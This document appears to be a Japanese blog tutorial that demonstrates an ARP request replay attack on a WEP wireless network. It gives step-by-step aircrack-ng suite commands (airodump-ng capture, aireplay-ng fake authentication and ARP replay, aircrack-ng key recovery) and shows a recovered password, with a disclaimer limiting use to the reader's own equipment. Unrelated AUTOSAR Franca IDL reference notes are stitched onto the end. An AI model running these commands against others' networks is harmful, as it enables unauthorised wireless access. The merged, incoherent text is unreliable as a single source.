あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# ARP要求リプレイ攻撃
ARP要求を故意に繰り返したり、遅延させたりすることで、パケット(含むIV)を増加させる攻撃。

# 検証
## 無線LANアダプタのMACアドレスを変更する
[この記事](https://qiita.com/kagirohi/items/a1b113d194f3c859afc8)を参考にしてください。
## 無線LANアダプタをMonitorモードにする
[この記事](https://qiita.com/kagirohi/items/7509d3a5aace7a9ecbc2)を参考にしてください。

## airodump-ngを実行する
arp要求リプレイ攻撃用のフォルダを用意してから、`airodump-ng`コマンドを実行する。
```
mkdir arp_attack
cd arp _attack
sudo airodump-ng --channel 2 --bssid <ターゲットのbssid> --write arp-attack wlan0
```

## aireplay-ngで偽の認証
**新規に別の端末を立ち上げて**、次のコマンドを実行する。
```
sudo aireplay-ng --fakeauth 0 -a <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
```

## aireplay-ngに--arpreplayオプションをつけてARPリクエストリプレイ攻撃
```
sudo aireplay-ng --arpreplay -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
//または、
sudo aireplay-ng -3 -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
```
-3オプションは、--arpreplayオプションの簡略表記。
![スクリーンショット_2022-05-23_20-02-54arp攻撃.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/69f8dfed-eedc-ed80-f70c-14d37780760d.png)

あっという間にDataの値が増えていく。
![スクリーンショット_2022-05-23_20-04-00arp攻撃増加するData.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3aab919b-af41-0b50-8647-88383ee2d007.png)

## wepキーを解析
**さらに、新規に別の端末を立ち上げて**、次のコマンドを実行する。
```
sudo aircrack-ng arp-attack-01.cap
```
無線LANのパスワードが"55555"だと判明した。
![スクリーンショット_2022-05-23_20-05-24arp攻撃完了.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/83f26cb7-e184-4bde-1ee6-8c2038bd1687.png)

# おわりに
WEPでの解析検証は一通り終わった。
パスワード"55555"だと、どのWEPへのハッキング手法でも、だいたい25000IVsぐらい集めれば解析できた。
おおよその流れとして、無線LANアダプタのモード変更やMACアドレスの固定化のあとに、
- キャプチャ担当のairodump-ng
- 細工担当のaireplay-ng
- 解析担当のaircrack-ng


の３つが共同してパスワード解析をする。
細工担当のaireplay-ngのオプションの違いで、chopchop攻撃やARPリクエストリプライ攻撃といった攻撃方法の選択をする。

オプションの対応表はこうなる

| 冗長表記 | 簡略表記 |
|:-:|:-:|
| --fakeauth  | -1  |
| --interactive  | -2  |
| --arpreplay  | -3  |
| --chopchop  | -4  |

_※他にもあり_
Integration of Franca IDL Software Component Descriptions, No.663, AUTOSAR R21-11(139) CP

Integration of Franca IDL Software Component Descriptions, No.693, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_TR_FrancaIntegration.pdf


AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11, 120文書読んだ。2022年5月末に半分到達予定。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)

no

## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Franca User Guide
https://code.google.com/a/eclipselabs.org/p/franca/downloads/
detail?name=FrancaUserGuide-0.3.0.pdf
[2] Virtual Functional Bus
AUTOSAR_EXP_VFB
[3] Specification of RTE Software
AUTOSAR_SWS_RTE
[4] Software Component Template
AUTOSAR_TPS_SoftwareComponentTemplate
[5] Methodology for Classic Platform
AUTOSAR_TR_Methodology
[6] IPC CommonAPI C++
http://projects.genivi.org/commonapi/
[7] Specification of Platform Types
AUTOSAR_SWS_PlatformTypes